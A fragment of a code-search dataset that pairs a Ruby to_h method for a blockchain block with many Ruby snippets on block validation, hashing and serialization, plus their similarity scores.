"def validate_last_message!\n return unless last_message\n\n message_content = remove_short_code(last_message.body).strip\n return if validate_command!(message_content)\n\n step = STEPS[current_step + 1]\n\n validation_passed = false\n if step[:validation]\n validation_passed = send(step[:validation], message_content)\n elsif !message_content.blank? || step[:validation] === false\n validation_passed = true\n end\n\n if validation_passed\n last_message.update(valid_message: true, step: current_step + 1)\n\n if step[:confirmation]\n if message_content.downcase == 's'\n send_next_question!\n\n true\n elsif message_content.downcase == 'n'\n conversation.finished!\n send_sms('Você pode enviar um novo alerta novamente enviando a palavra-chave para este número.')\n\n false\n else\n resend_current_question!\n\n false\n end\n else\n send_next_question!\n\n true\n end\n else\n last_message.update(valid_message: false, step: current_step + 1)\n resend_current_question!\n\n true\n end\n end",
"def validate_block(block)\n raise InvalidBlockError.new('invalid header') unless @header_chain.valid?(block.header)\n # valid ommers\n raise InvalidBlockError.new('ommers blocks can not more than 2') if block.ommers.size > 2\n block.ommers.each do |ommer|\n unless is_kin?(ommer, get_block(block.header.parent_hash), 6)\n raise InvalidBlockError.new(\"invalid ommer relation\")\n end\n end\n\n parent_header = @header_chain.get_header(block.header.parent_hash)\n state = State.new(store, state_root: parent_header.state_root)\n evm = EVM.new(state: state, chain: self, fork_schema: @fork_config.choose_fork(block.header.number))\n # valid transactions and gas\n begin\n receipts = evm.transition(block)\n rescue EVM::InvalidTransition => e\n raise InvalidBlockError.new(e.message)\n end\n\n # verify state root\n if evm.state_root != block.header.state_root\n error(\"incorrect state_root, evm: #{Utils.hex evm.state_root}, header: #{Utils.hex block.header.state_root} height: #{block.header.number}\")\n raise InvalidBlockError.new(\"incorrect state_root\")\n end\n\n # verify receipts root\n trie = Trie.new\n receipts.each_with_index do |r, i|\n trie[RLP.encode(i)] = RLP.encode(r)\n end\n\n if trie.root_hash != block.header.receipts_root\n raise InvalidBlockError.new(\"incorrect receipts_root\")\n end\n\n # verify state root\n trie = Trie.new\n block.transactions.each_with_index do |t, i|\n trie[RLP.encode(i)] = RLP.encode(t)\n end\n\n if trie.root_hash != block.header.transactions_root\n raise InvalidBlockError.new(\"incorrect transactions_root\")\n end\n end",
"def process_block_internal(block, raise_errors=false, current_time=nil)\n @current_time = current_time\n @processing_start_time = Time.now\n logger.debug{ \"ProcessBlock(): starting %s\" % [block.hash] }\n\n # Check for duplicate.\n # Bitcoind checks all blocks: mainchain, sidechain, orphans.\n if @storage.is_block_processed?(block.hash)\n b = @storage.processed_block_for_hash(block.hash)\n logger.debug{ \"ProcessBlock() : already have block %s\" % [b.hash] }\n return true\n else\n # Store the raw block for later use.\n # This is not the same as AcceptBlock in bitcoind.\n # In fact, the raw block may already be there before processing because it was received from other nodes.\n @storage.store_raw_block(block)\n end\n\n # This will track the reasons of failure and DoS penalties.\n state = ValidationState.new\n\n # Preliminary checks\n if !check_block(block, state)\n return false\n end\n\n # Load the latest mainchain block\n mainchain_tip_hash = @storage.mainchain_tip_hash\n\n # Checkpoints check.\n # Since we store around orphan blocks, we need at least to check that POW is good relative to the latest checkpoint.\n # - Find the last checkpoint hash *before this block*\n # - Find the block for this hash.\n # - if this block's previous hash is not the current tip or nil, verify against checkpoints:\n # - timestamp should be >= the checkpoint time\n # - minimal possible work since checkpoint should be satisfied\n checkpoint_hash = self.latest_checkpoint_hash\n\n # Only check if this block is not built on top of the current tip.\n if !@checkpoints_disabled && checkpoint_hash && block.prev_block_hex != (mainchain_tip_hash || (\"00\"*32))\n checkpoint_block = @storage.processed_block_for_hash(checkpoint_hash)\n time_delta = block.time - checkpoint_block.time\n if time_delta < 0\n raise BlockValidationError, \"ProcessBlock() : block with timestamp before last checkpoint\"\n end\n\n base_work = Bitcoin.decode_compact_bits(checkpoint_block.bits).to_i(16)\n max_target = compute_min_work(base_work, time_delta)\n\n if block.decimaltarget > max_target\n raise BlockValidationError, \"ProcessBlock() : block with too little proof-of-work\"\n end\n end\n\n # If block is orphan (for which we don't have the parent yet), store it for later use and return true (if stored succesfully)\n # Bitcoind: \"If we don't already have its previous block, shunt it off to holding area until we get it\"\n\n prev_block_valid = @storage.is_block_valid?(block.prev_block_hex)\n if !prev_block_valid\n # If it's a genesis block, simply save it right away\n # In Bitcoind this is saved apriori, AFAIU.\n if block.hash == Bitcoin.network[:genesis_hash]\n log_raw_block_events(block.hash, \"process_block => genesis (0)\")\n return persist_block_on_main_branch(block, 0)\n end\n\n # It is an orphan block.\n # Note: Bitcoind saves it if there's a node to request missing blocks from.\n\n # FIXME: maybe we can drop height support from here as we'd have to update all heights anyway when processing the orphans.\n # If we have a parent (which is also orphan), increase the height relative to the parent.\n # Otherwise, use height 0.\n height = @storage.height_for_block(block.prev_block_hex)\n height = height ? (height + 1) : 0\n\n log_raw_block_events(block.hash, \"process_block => orphan (#{height})\")\n\n # Store orphan and return.\n return persist_orphan_block(block, height)\n end\n\n measure_method(:process_block, @processing_start_time)\n\n # Reorg happens inside if needed.\n if !self.accept_block(block, state)\n # Note: if accept_block raises exceptions, this exception will never be raised.\n raise BlockValidationError, \"ProcessBlock() : AcceptBlock FAILED\"\n return false\n end\n\n return true\n rescue ValidationError, BlockValidationError, TxValidationError => e\n log_raw_block_events(block.hash, e)\n msg = \"process_block total time: #{(Time.now - @processing_start_time).to_f}\"\n log_raw_block_events(block.hash, msg)\n raise if raise_errors\n return false\n end",
"def ensure_future_batch\n if !!@course_batch && @course_batch.expired?\n redirect_to :back, alert: 'Sorry. There but the batch has already started. Please select some different batch.'\n end\n end",
"def process_complex_block_opener(tk)\n return unless OPEN_BLOCK_TOKENS.include?(tk.class)\n\n @current_block = tk.class\n @state = :block_statement\n\n true\n end",
"def test_bad_block\r\n\t\ts = \"SYSTEM>Gaozu(100)\"\r\n\t\ttb = Block.new(\"0\", \"0\", s, \"1518893687.329767000\", \"fd19\")\r\n\t\t\r\n\t\tassert_equal 0, tb.validate_block\r\n\tend",
"def break_out_of_lists(block)\n b = block\n last_list = nil\n while (b) do\n last_list = b if b.type == 'List'\n b = b.parent;\n end\n\n if (last_list)\n while (block != last_list) do\n finalize(block, @line_number);\n block = block.parent;\n end\n finalize(last_list, @line_number);\n @tip = last_list.parent;\n end\n end",
"def bb_unconditional_branch\n @file.puts \" @current_block.left = arg1.basic_block\"\n @file.puts \" @current_block.close\"\n @file.puts \" @current_block = new_basic_block\"\n end",
"def after(&block)\n @blocks << block\n end",
"def valid_after=(_arg0); end",
"def _HtmlBlockForm\n\n _save = self.pos\n while true # sequence\n _tmp = apply(:_HtmlBlockOpenForm)\n unless _tmp\n self.pos = _save\n break\n end\n while true\n\n _save2 = self.pos\n while true # choice\n _tmp = apply(:_HtmlBlockForm)\n break if _tmp\n self.pos = _save2\n\n _save3 = self.pos\n while true # sequence\n _save4 = self.pos\n _tmp = apply(:_HtmlBlockCloseForm)\n _tmp = _tmp ? nil : true\n self.pos = _save4\n unless _tmp\n self.pos = _save3\n break\n end\n _tmp = get_byte\n unless _tmp\n self.pos = _save3\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save2\n break\n end # end choice\n\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_HtmlBlockCloseForm)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_HtmlBlockForm unless _tmp\n return _tmp\n end",
"def validate_around\n validate_down\n validate_up\n end",
"def verify_transactions\r\n raise \"Line #{total_block_number}: transaction resulted in a negative\" if Transaction.negatives?\r\n\r\n true\r\n end",
"def test_invalid_block\n chain = \"SYSTEM>Kurt(50)\"\n block = Blockchain.new(\"5\", \"5\", chain, \"1518892051.812065000\", \"ch78\")\n\n assert_equal 0, block.is_valid\n end",
"def next_differs_on? field\n if last?\n nil\n else\n element.send(field) != self.next.send(field) # need to self to differentiate from keyword\n end\n end",
"def prev_line; end",
"def process_block_token(tk)\n if balances?(tk)\n @statement << tk\n @state = :first_statement\n process_statement_end(tk)\n elsif @block_num > 1 || (@block.empty? && [TkSPACE, TkNL].include?(tk.class))\n @statement << tk\n else\n if @block.empty?\n @statement << TkBlockContents.new(tk.line_no, tk.char_no)\n end\n @block << tk\n end\n end",
"def valid_blocks(base_time)\n set_base_time(base_time)\n time_entries = time_entries_for(base)\n end",
"def prev?\n not prev.nil?\n end",
"def check_valid_format(block, transaction)\n if transaction.from_addr.length != 6 && transaction.to_addr.nil?\n puts \"Line #{block.block_number}: Could not parse transactions list '#{transaction.transaction_string}'\"\n return false\n end\n true\n end",
"def test_blocks_not_consecutive\n block_num_checker = BlockNumChecker::new\n arr = [0,1,2,8,4,5,6]\n assert_equal 1, block_num_checker.check_block(arr)\n end",
"def verify_prev_hash_match(maps)\n # special case for first line\n return false if maps[0][:id].to_i != 0\n\n # now start at the 1st line\n (1...maps.length).each do |i|\n prev_hash = maps[i][:prev_hash]\n curr_hash = maps[i - 1][:hash]\n # check that they match\n if prev_hash != curr_hash\n puts \"Line #{i}: Previous hash was #{prev_hash}, should be #{curr_hash}.\\nBLOCKCHAIN INVALID\"\n return false\n end\n # check that the length of each is not more than 4\n if prev_hash.length > 4\n puts \"Line #{i}: Previous hash #{prev_hash} is too long.\\nBLOCKCHAIN INVALID\"\n return false\n end\n if curr_hash.length > 4\n puts \"Line #{i}: Current hash #{curr_hash} is too long.\\nBLOCKCHAIN INVALID\"\n return false\n end\n # check the formatting of the hash\n prev_hash.delete!('abcdef0123456789')\n curr_hash.delete!('abcdef0123456789')\n unless prev_hash.empty?\n puts \"Line #{i}: Previous hash #{prev_hash} contains invalid characters.\\nBLOCKCHAIN INVALID\"\n return false\n end\n unless curr_hash.empty?\n puts \"Line #{i}: Current hash #{curr_hash} contains invalid characters.\\nBLOCKCHAIN INVALID\"\n return false\n end\n end\n\n # If nothing wrong, return true\n true\nend",
"def has_previous_part?\n index = part_index(current_part.slug)\n !! (index && index > 0)\n end",
"def record_block\n @block = true\n end",
"def check_block_transactions(curr_block)\n # FORMAT:\n # FROM_ADDR > TO_ADDR(NUM_BILLCOINS_SENT)\n curr_block.transactions.each do |transaction|\n if transaction.include? ' '\n @transactions_error = true\n puts \"Line #{@curr_count}: Could not parse transactions list '#{transaction}'\"\n puts 'BLOCKCHAIN INVALID'\n exit 1\n end\n\n # split transaction line to sending/receiving addresses\n transaction_senders = transaction.split(/[>()]/)\n from_addr = transaction_senders[0]\n to_addr = transaction_senders[1]\n coins = transaction_senders[2].to_i\n\n # calculate balance results\n @addresses.handle_billcoins(from_addr, -coins)\n @addresses.handle_billcoins(to_addr, coins)\n end\n end",
"def verify\n @_buffer.shift(fbe_offset)\n fbe_result = verify_fields\n @_buffer.unshift(fbe_offset)\n fbe_result\n end",
"def verify\n @_buffer.shift(fbe_offset)\n fbe_result = verify_fields\n @_buffer.unshift(fbe_offset)\n fbe_result\n end",
"def verify\n @_buffer.shift(fbe_offset)\n fbe_result = verify_fields\n @_buffer.unshift(fbe_offset)\n fbe_result\n end",
"def verify\n @_buffer.shift(fbe_offset)\n fbe_result = verify_fields\n @_buffer.unshift(fbe_offset)\n fbe_result\n end",
"def test_block_count_correct_false\n assert_equal(false, @bv.block_count_correct?(1, [1,2,3,4]))\n end",
"def _HtmlBlockP\n\n _save = self.pos\n while true # sequence\n _tmp = apply(:_HtmlBlockOpenP)\n unless _tmp\n self.pos = _save\n break\n end\n while true\n\n _save2 = self.pos\n while true # choice\n _tmp = apply(:_HtmlBlockP)\n break if _tmp\n self.pos = _save2\n\n _save3 = self.pos\n while true # sequence\n _save4 = self.pos\n _tmp = apply(:_HtmlBlockCloseP)\n _tmp = _tmp ? nil : true\n self.pos = _save4\n unless _tmp\n self.pos = _save3\n break\n end\n _tmp = get_byte\n unless _tmp\n self.pos = _save3\n end\n break\n end # end sequence\n\n break if _tmp\n self.pos = _save2\n break\n end # end choice\n\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_HtmlBlockCloseP)\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_HtmlBlockP unless _tmp\n return _tmp\n end",
"def end_check\n if @lives <= 0\n true\n else\n false\n end\n end",
"def block\n true\n end",
"def delete_next?\n inside_blank_pair?\n end",
"def is_before_last?(elt)\n self[self.size - 2][:page].url == elt.url or self[self.size - 2][:driver].popup_name == elt.popup_name\n end",
"def is_slot_already_passed?\n\t\tunless self.date_of_booking != Time.zone.now.beginning_of_day \n\t\t\tunless self.resource.next_time_slots.include?(self.resource.timeslots[self.slot])\n\t\t\t\tself.errors[:slot_avaibility] << \"=> This slot is already passed\"\n\t\t\tend\n\t\tend\n\tend"
] |
[
"0.6610355",
"0.64600044",
"0.63057286",
"0.62794924",
"0.601952",
"0.59391516",
"0.59188473",
"0.587369",
"0.5873529",
"0.58649486",
"0.5832942",
"0.5811153",
"0.5779361",
"0.5750054",
"0.5728072",
"0.5666664",
"0.563097",
"0.5600104",
"0.5593506",
"0.55910987",
"0.556176",
"0.5521353",
"0.5521353",
"0.54909915",
"0.5476521",
"0.5459981",
"0.5452696",
"0.54408157",
"0.542269",
"0.54203707",
"0.5410579",
"0.5383118",
"0.53722733",
"0.5369126",
"0.5365592",
"0.5355185",
"0.53533775",
"0.5349596",
"0.53489065",
"0.5313807",
"0.53126025",
"0.5311622",
"0.53025275",
"0.53021044",
"0.5288797",
"0.5266065",
"0.52558124",
"0.5251525",
"0.5250499",
"0.5250029",
"0.5247715",
"0.5242987",
"0.52214646",
"0.5211884",
"0.5200753",
"0.5182483",
"0.5181158",
"0.51678437",
"0.51627076",
"0.51170874",
"0.51165044",
"0.5113505",
"0.5113005",
"0.5097111",
"0.5076227",
"0.5046157",
"0.5043351",
"0.5038968",
"0.5038684",
"0.5026701",
"0.50207853",
"0.50166595",
"0.5008971",
"0.5005502",
"0.5004417",
"0.5002335",
"0.49931204",
"0.49890852",
"0.49848527",
"0.49731106",
"0.49698666",
"0.49694937",
"0.4965288",
"0.49619466",
"0.49603456",
"0.4959944",
"0.4946824",
"0.49420235",
"0.4937944",
"0.49359667",
"0.49359667",
"0.49359667",
"0.49359667",
"0.4934808",
"0.49297887",
"0.4928073",
"0.49263236",
"0.49255568",
"0.49143973",
"0.49136788"
] |
0.70807743
|
0
|
Return hash representation of block
|
def to_h
{
data: data,
nonce: nonce,
time: time,
hash: hash,
index: index,
prev_hash: prev_hash
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash(block)\n Digest::SHA256.hexdigest(block.to_s.encode)\n end",
"def calculate_block_hash(block)\n Digest::SHA256.hexdigest(block.block_index.to_s + block.previous_block_hash + block.timestamp + block.data)\n end",
"def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend",
"def hash\n bytes.hash\n end",
"def hash(block, stored_hash, hash_calc, block_check, line)\r\n return 'Block empty' if block.nil?\r\n\r\n # calculate hash value for line\r\n error = \"Line #{line}: Invalid hash set to #{stored_hash.strip}\"\r\n\r\n # if hash stored as with capital letters, return error\r\n stored_hash = stored_hash.strip # get rid of trailing white space\r\n int_hash = stored_hash.to_i(16) # get stored hash and convert to decimal\r\n # check lenght of stored hash(max4)...may be optiaml to place elsewhere\r\n return error + \"\\nHash length is too big\" if stored_hash.size >= 5\r\n\r\n # check hash for leading 0's\r\n return error + \"\\nHash contains leading zeros\" if stored_hash[0] == '0' && stored_hash.size > 1\r\n\r\n # check to make sure value is valid hex values\r\n return error + \"\\nInvalid hex value, must be lowercase and from 0-f\" unless block_check.check_hex(stored_hash)\r\n\r\n # see if calculated hash and stored has match\r\n hash = block_check.get_hash(block, hash_calc) # get hash value\r\n # removes last hash from string\r\n output_string = block_check.parse(block, '|' + stored_hash)\r\n error_two = \"Line #{line}: String '#{output_string[0]}' hash set to #{stored_hash.strip},\"\\\r\n \"should be #{hash.to_s(16)}\"\r\n return error_two unless block_check.check_hash(hash, int_hash)\r\n\r\n nil\r\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def test_same_hashes\r\n\t\ts = \"Addr1<Addr2(100):Addr3<Addr4(500)\"\r\n\t\ttb = Block.new(0,0,s,0.0,\"90a2\")\r\n\t\ttb.set_calculated_hash(\"90a2\")\r\n\t\t\r\n\t\tassert_equal(1, tb.compare_current_hash)\r\n\tend",
"def hash\n self.begin.hash ^ self.end.hash\n end",
"def test_different_hashes\r\n\t\ts = \"Addr1<Addr2(100):Addr3<Addr4(500)\"\r\n\t\ttb = Block.new(0,0,s,0.0,\"90a2\")\r\n\t\ttb.set_calculated_hash(\"10b4\")\r\n\t\t\r\n\t\tassert_equal(0, tb.compare_current_hash)\r\n\tend",
"def check_block_hash(curr_block)\n # rubocop:disable LineLength\n block_hash_string = curr_block.block_number + '|' + curr_block.prev_block_hash + '|' + curr_block.raw_transactions + '|' + curr_block.timestamp[0] + '.' + curr_block.timestamp[1]\n # rubocop:enable LineLength\n block_hash_string.unpack('U*')\n\n # splits the string into each character\n hash_parts = block_hash_string.split('')\n\n res = 0\n # OPTIMIZATION: store the hashes of characters so we can reuse them\n hash_parts.each do |x|\n # this returns the integer ordinal after we converted to UTF-8\n x = x.ord\n hash_array[x] = ((x**3000) + (x**x) - (3**x)) * (7**x) if hash_array[x].nil?\n res += hash_array[x]\n end\n\n # module result by constant 65536\n res = res % 65_536\n # resulting hash string in base-16\n resulting_hash = res.to_s(16)\n return unless resulting_hash != curr_block.block_hash\n\n @block_hash_error = true\n # rubocop:disable LineLength\n puts \"Line #{@curr_count}: String '#{block_hash_string}' hash set to #{curr_block.block_hash}, should be #{resulting_hash}\"\n # rubocop:enable LineLength\n puts 'BLOCKCHAIN INVALID'\n exit 1\n end",
"def raw_hash\n @raw_hash ||= raw_hash_with_cycles[:block]\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash(*) end",
"def hash\n 0\n end",
"def hash\n return to_s.hash\n end",
"def hash\r\n return to_s.hash\r\n end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def hash\n @hash || calculate_hash!\n end",
"def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"def hash\n offset.hash\n end",
"def getblockhash(index)\n @api.request 'getblockhash', index\n end",
"def hash\n return Digest::MD5.hexdigest(self.describe(' '))\n end",
"def handle_store_block hex\n block = Bitcoin::P::Block.new(hex.htb)\n @node.queue << [:block, block]\n { queued: [ :block, block.hash ] }\n end",
"def binary_hash\n [@hash].pack(\"H*\").reverse\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def blocks_to_hash(blocks)\n blocks.each_with_object({}) do |block, hash|\n hash.merge!(block.to_hash)\n end\n end",
"def hash\n data.hash\n end",
"def hash\r\n id.hash\r\n end",
"def hash\n @vbits.hash\n end",
"def hash\n return (path + file_id.to_s).hash\n end",
"def hash\n @hash.hash\n end",
"def hash\n code.hash\n end",
"def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"def test_calc_hash\r\n\t\ts = \"SYSTEM>Gaozu(100)\"\r\n\t\ttb = Block.new(\"0\", \"0\", s, \"1518893687.329767000\", \"fd19\")\r\n\t\tstringVal = tb.get_calculated_hash\r\n\t\tval = stringVal.strip.eql? \"fd18\"\r\n\t\t\r\n\t\tassert_equal val, true\r\n\tend",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n to_s.hash\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def getblockheader(block_id, verbose)\n block_hash = block_id.rhex\n entry = node.chain.find_entry_by_hash(block_hash)\n raise ArgumentError.new('Block not found') unless entry\n if verbose\n {\n hash: block_id,\n height: entry.height,\n version: entry.header.version,\n versionHex: entry.header.version.to_even_length_hex,\n merkleroot: entry.header.merkle_root.rhex,\n time: entry.header.time,\n mediantime: node.chain.mtp(block_hash),\n nonce: entry.header.nonce,\n bits: entry.header.bits.to_even_length_hex,\n previousblockhash: entry.prev_hash.rhex,\n nextblockhash: node.chain.next_hash(block_hash).rhex\n }\n else\n entry.header.to_hex\n end\n end",
"def hash_bytes(blob)\n tlsh_hash(blob)\n end",
"def hash\n\n self.h.fei.hash\n end",
"def block(hash)\n head = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://chain.api.btc.com/v3/block').append(hash)\n )\n data = head['data']\n raise Sibit::Error, \"The block #{hash} not found\" if data.nil?\n nxt = data['next_block_hash']\n nxt = nil if nxt == '0000000000000000000000000000000000000000000000000000000000000000'\n {\n provider: self.class.name,\n hash: data['hash'],\n orphan: data['is_orphan'],\n next: nxt,\n previous: data['prev_block_hash'],\n txns: txns(hash)\n }\n end",
"def hash\n guid.hash\n end",
"def hash\n @real.hash ^ @image.hash\n end",
"def hash\n code.hash\n end",
"def hash\n @orig.hash\n end",
"def hash\n @orig.hash\n end",
"def hash\n @orig.hash\n end",
"def encode_block(state, block)\n buf = ((@dictionary.index(block[0]) + 1) ^ state.key).chr\n\n buf\n end",
"def hash\n @hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash()\n #This is a stub, used for indexing\n end",
"def hash\n [_hash, name, owner].hash\n end",
"def hash\n return @id.hash\n end",
"def hash\n id.hash\n end",
"def finalize_block(hash_val)\n index_hash = [\n 42, 21, 0,\n 1, 43, 22,\n 23, 2, 44,\n 45, 24, 3,\n 4, 46, 25,\n 26, 5, 47,\n 48, 27, 6,\n 7, 49, 28,\n 29, 8, 50,\n 51, 30, 9,\n 10, 52, 31,\n 32, 11, 53,\n 54, 33, 12,\n 13, 55, 34,\n 35, 14, 56,\n 57, 36, 15,\n 16, 58, 37,\n 38, 17, 59,\n 60, 39, 18,\n 19, 61, 40,\n 41, 20, 62,\n 63\n ]\n\n reordered_hash = (0..63).to_a.map { |i| [hash_val.getbyte(index_hash[i])].pack(\"*C\") }\n bytes_array = []\n reordered_hash.each_slice(3) { |b_slice|\n bytes_array << b_slice\n }\n three_byte_sets = bytes_array.first(21)\n last_byte = bytes_array.last\n (three_byte_sets.map { |tbs| encode_triple_bytes(tbs) }.join + encode_last_byte(last_byte))\n end",
"def hash\n @content.hash\n end",
"def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end",
"def hash\n state.hash\n end",
"def hash\n state.hash\n end",
"def hash\n swap\n scatter\n completed_string\n end",
"def c_hash\n sha256 = Digest::SHA256.new\n token = @code.token.token\n hashed_token = sha256.digest(token)\n first_half = hashed_token[0...hashed_token.length / 2]\n Base64.urlsafe_encode64(first_half).tr('=', '')\n end",
"def hash\n @id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def get_broadhash\n blocks = self.blocks_get_status\n if blocks[\"success\"]\n return blocks[\"broadhash\"]\n else\n return nil\n end\n end",
"def latest\n uri = Iri.new('https://chain.api.btc.com/v3/block/latest')\n json = Sibit::Json.new(http: @http, log: @log).get(uri)\n data = json['data']\n raise Sibit::Error, 'The latest block not found' if data.nil?\n hash = data['hash']\n @log.info(\"The hash of the latest block is #{hash}\")\n hash\n end",
"def hash\n self.to_f.hash\n end",
"def hash\n digest = Digest::MD5.new\n digest << title.to_s\n digest << content.join('').to_s\n digest.to_s\n end",
"def hash\n value.hash\n end",
"def render_hash\n Motion.serializer.weak_digest(self)\n end",
"def get_block(blk_hash)\n raise \"Not implemented\"\n end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def hash\n [amount.hash, currency.hash].hash\n end",
"def hash\n [amount.hash, currency.hash].hash\n end"
] |
[
"0.8520505",
"0.8312244",
"0.81396824",
"0.7151379",
"0.6863372",
"0.68395275",
"0.68395275",
"0.68395275",
"0.68395275",
"0.68395275",
"0.68395275",
"0.68395275",
"0.6690625",
"0.65731084",
"0.65619695",
"0.6482824",
"0.64780384",
"0.6453022",
"0.6453022",
"0.6453022",
"0.6452114",
"0.642983",
"0.6404413",
"0.6399142",
"0.63990206",
"0.6385291",
"0.637958",
"0.6379345",
"0.6377134",
"0.63583446",
"0.6351672",
"0.63421744",
"0.63367516",
"0.6309304",
"0.6296988",
"0.6290942",
"0.6286183",
"0.6283898",
"0.62639356",
"0.62618846",
"0.62605405",
"0.6257905",
"0.6231691",
"0.6231691",
"0.6231691",
"0.6231691",
"0.6231691",
"0.6231691",
"0.6231691",
"0.6231691",
"0.6231691",
"0.6231691",
"0.62231064",
"0.622088",
"0.6220329",
"0.6209346",
"0.6205946",
"0.6201788",
"0.6198675",
"0.6198057",
"0.61924356",
"0.6184487",
"0.6184487",
"0.6184487",
"0.618214",
"0.61765707",
"0.617347",
"0.617347",
"0.617347",
"0.617347",
"0.617347",
"0.617347",
"0.617347",
"0.617347",
"0.617347",
"0.6173005",
"0.616658",
"0.6153976",
"0.6150481",
"0.6129943",
"0.61288637",
"0.61274016",
"0.61254144",
"0.612463",
"0.6123111",
"0.6123111",
"0.61195076",
"0.61017364",
"0.609934",
"0.6092637",
"0.6092637",
"0.60893583",
"0.6087886",
"0.60834384",
"0.60781133",
"0.60747266",
"0.60744196",
"0.6070145",
"0.60692024",
"0.6067",
"0.6067"
] |
0.0
|
-1
|
Serialized representation of block
|
def to_bson
to_h.to_bson
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def blocks\n object.blocks.map{ |x|\n ShallowBlockSerializer.new(x)\n }\n end",
"def serialize\n @raw_data\n end",
"def to_s; \"<Block #{length}>\"; end",
"def serialize(*args, &block); end",
"def serialize(*args, &block); end",
"def encode_block(state, buf)\n\t\tbuf\n\tend",
"def attributes\n {\n :block_size => @block_size, :block_count => @blocks,\n :blocks => @block_data.map(&:dup)\n }\n end",
"def serialize\n end",
"def serialize; end",
"def serialize; end",
"def to_s\n pad_field :data\n recalc_block_len\n super\n end",
"def store_raw_block(block)\n payload = block.payload || block.to_payload\n if Toshi::Models::RawBlock.where(hsh: block.hash).empty?\n Toshi::Models::RawBlock.new(hsh: block.hash, payload: payload).save\n end\n end",
"def to_s\n pad_field :body\n recalc_block_len\n super\n end",
"def store(block, metadata, uuid = nil)\n uuid = generate_uuid if uuid.nil?\n path = get_path_from_uuid(uuid)\n\n data = block.to_a\n to_serialize = metadata.dup\n to_serialize[:version] = 0\n to_serialize[:data] = data\n\n begin\n Zlib::GzipWriter.open(path, 3, 0) do |zf|\n puts \"Saving a block to #{path}\"\n zf << to_serialize.to_yaml\n end\n rescue => e\n puts e\n puts e.backtrace\n nil\n end\n uuid\n end",
"def serialize(object) end",
"def serialize\n \n end",
"def new_block blk\n time = Time.now\n res = store_block(blk)\n log.info { \"block #{blk.hash} \" +\n \"[#{res[0]}, #{['main', 'side', 'orphan'][res[1]]}] \" +\n \"(#{\"%.4fs, %3dtx, %.3fkb\" % [(Time.now - time), blk.tx.size, blk.payload.bytesize.to_f/1000]})\" } if res && res[1]\n res\n end",
"def serialized_data\n\t\tdata = strip_hash( @data )\t\t\t\n\t\treturn Marshal.dump( data )\n\tend",
"def to_binary\n Formatters::Binary.new.serialize self\n end",
"def structure_dump() end",
"def serialize_old_format\n buf = [self.version].pack('V')\n buf << Bitcoin.pack_var_int(self.inputs.length) << self.inputs.order(index: :asc).map(&:to_payload).join\n buf << Bitcoin.pack_var_int(self.outputs.length) << self.outputs.order(n: :asc).map(&:to_payload).join\n buf << [self.lock_time].pack('V')\n buf\n end",
"def save_block(block)\n db.transaction do\n db[:l] = block.hash\n db[block.hash] = block\n db.commit\n end\n block\n end",
"def _dump\n self.contents\n end",
"def serialize\n Base64.encode64(Marshal.dump(self.to_hash)).chop\n end",
"def to_raw; end",
"def serialize\n # TODO sanity checks, e.g. assert(@header[:ncmds] == @load_command.size)\n # ... perhaps an option to recalculate such data as well.\n\n # Now that we have all the pieces of the file defined we can calculate\n # the file offsets of segments and sections.\n calculate_offsets\n\n ###################################\n # Mach-O file Part 1: Mach Header #\n ###################################\n @header.serialize +\n\n #####################################\n # Mach-O file Part 2: Load Commands #\n #####################################\n # dump each load command (which include the section headers under them)\n @load_commands.map do |cmd|\n sects = @sections[cmd[:segname]] rescue []\n sects.inject(cmd.serialize) do |data, sect|\n data + sect.serialize\n end\n end.join +\n\n ###################################\n # Mach-O file Part 3: Binary data #\n ###################################\n @data.join\n end",
"def handle_store_block hex\n block = Bitcoin::P::Block.new(hex.htb)\n @node.queue << [:block, block]\n { queued: [ :block, block.hash ] }\n end",
"def inspect\n serialize.to_s\n end",
"def serialize_witness_format\n buf = [self.version, MARKER, FLAG].pack('Vcc')\n buf << Bitcoin.pack_var_int(self.inputs.length) << self.inputs.order(index: :asc).map(&:to_payload).join\n buf << Bitcoin.pack_var_int(self.outputs.length) << self.outputs.order(n: :asc).map(&:to_payload).join\n buf << witness_payload << [self.lock_time].pack('V')\n buf\n end",
"def serialiser\n return @pile\n end",
